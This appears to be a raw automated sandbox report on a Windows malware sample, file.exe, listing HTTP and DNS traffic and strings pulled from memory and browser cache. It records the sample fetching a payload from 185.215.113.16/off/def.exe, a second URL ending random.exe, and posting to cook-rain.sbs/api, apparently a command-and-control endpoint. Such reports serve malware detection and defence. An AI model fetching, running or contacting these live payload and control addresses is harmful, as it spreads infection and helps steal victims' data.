Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_96.6.dr, chromecache_107.6.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_96.6.dr, chromecache_107.6.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
Source: chromecache_96.6.dr, chromecache_107.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_96.6.dr, chromecache_107.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_96.6.dr, chromecache_107.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: cook-rain.sbs
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: cook-rain.sbs

Source: file.exe, 00000000.00000002.1719524648.000000000166D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1643665975.00000000016DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000002.1719524648.000000000166D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exem
Source: file.exe, 00000000.00000002.1719291955.000000000133A000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exepleWebKit/537.36
Source: file.exe, 00000000.00000002.1719524648.000000000166D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: file.exe, 00000000.00000003.1443780433.0000000005DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.1443780433.0000000005DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.1443780433.0000000005DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.1443780433.0000000005DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.1443780433.0000000005DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.1443780433.0000000005DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.1443780433.0000000005DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.1443780433.0000000005DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.1443780433.0000000005DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_96.6.dr, chromecache_107.6.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_96.6.dr, chromecache_107.6.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_96.6.dr, chromecache_107.6.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_96.6.dr, chromecache_107.6.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_116.6.dr	String found in binary or memory: http://schema.org/Organization
Source: file.exe, 00000000.00000003.1443780433.0000000005DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.1443780433.0000000005DD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.1392504386.0000000005DDA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1392389216.0000000005DDA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1392340632.0000000005DDC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_96.6.dr, chromecache_107.6.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_96.6.dr, chromecache_107.6.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_116.6.dr, chromecache_80.6.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_96.6.dr, chromecache_107.6.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_96.6.dr, chromecache_107.6.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_116.6.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: chromecache_116.6.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_116.6.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: chromecache_96.6.dr, chromecache_107.6.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: file.exe, 00000000.00000003.1444945435.00000000016EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: file.exe, 00000000.00000003.1444945435.00000000016EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: file.exe, 00000000.00000003.1392504386.0000000005DDA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1392389216.0000000005DDA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1392340632.0000000005DDC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1392504386.0000000005DDA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1392389216.0000000005DDA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1392340632.0000000005DDC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1392504386.0000000005DDA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1392389216.0000000005DDA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1392340632.0000000005DDC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_96.6.dr, chromecache_107.6.dr	String found in binary or memory: https://channel9.msdn.com/
Source: chromecache_96.6.dr, chromecache_107.6.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: file.exe, 00000000.00000003.1444945435.00000000016EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000000.00000003.1444945435.00000000016EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.1490625483.0000000005DA1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1467225096.00000000016D0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1443418925.00000000016D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/
Source: file.exe, 00000000.00000003.1443418925.00000000016D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/K
Source: file.exe, 00000000.00000003.1490625483.0000000005DA1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1495138649.0000000005D9D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1414885946.0000000005D9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api
Source: file.exe, 00000000.00000003.1490625483.0000000005DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apiIq
Source: file.exe, 00000000.00000003.1414505223.0000000005D9A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1415382415.0000000005D9A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1467150089.0000000005DA0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1415421162.0000000005D9D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1443310392.0000000005D9D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1414314802.0000000005D9D000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1414885946.0000000005D9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/v
Source: file.exe, 00000000.00000003.1508878962.00000000016D0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1508921843.00000000016D7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs:443/api
Source: file.exe, 00000000.00000003.1392504386.0000000005DDA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1392389216.0000000005DDA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1392340632.0000000005DDC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1392504386.0000000005DDA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1392389216.0000000005DDA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1392340632.0000000005DDC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1392504386.0000000005DDA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1392389216.0000000005DDA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1392340632.0000000005DDC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_116.6.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_116.6.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_116.6.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_116.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_116.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_116.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_116.6.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_96.6.dr, chromecache_107.6.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_116.6.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_96.6.dr, chromecache_107.6.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_96.6.dr, chromecache_107.6.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_116.6.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_116.6.dr	String found in binary or memory: https://github.com/nschonni
Source: file.exe, 00000000.00000003.1444945435.00000000016EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: chromecache_116.6.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: chromecache_96.6.dr, chromecache_107.6.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: chromecache_96.6.dr, chromecache_107.6.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_96.6.dr, chromecache_107.6.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_96.6.dr, chromecache_107.6.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: chromecache_96.6.dr, chromecache_107.6.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: chromecache_107.6.dr	String found in binary or memory: https://schema.org
Source: file.exe, 00000000.00000003.1444630305.0000000005EAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.1444630305.0000000005EAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: chromecache_96.6.dr, chromecache_107.6.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_96.6.dr, chromecache_107.6.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_107.6.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: file.exe, 00000000.00000003.1444945435.00000000016EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: file.exe, 00000000.00000003.1392504386.0000000005DDA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1392389216.0000000005DDA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1392340632.0000000005DDC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000003.1392504386.0000000005DDA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1392389216.0000000005DDA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1392340632.0000000005DDC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000000.00000003.1444945435.00000000016EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: chromecache_96.6.dr, chromecache_107.6.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: file.exe, 00000000.00000003.1444630305.0000000005EAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: file.exe, 00000000.00000003.1444630305.0000000005EAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: file.exe, 00000000.00000003.1444630305.0000000005EAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: file.exe, 00000000.00000003.1444630305.0000000005EAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.1444630305.0000000005EAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
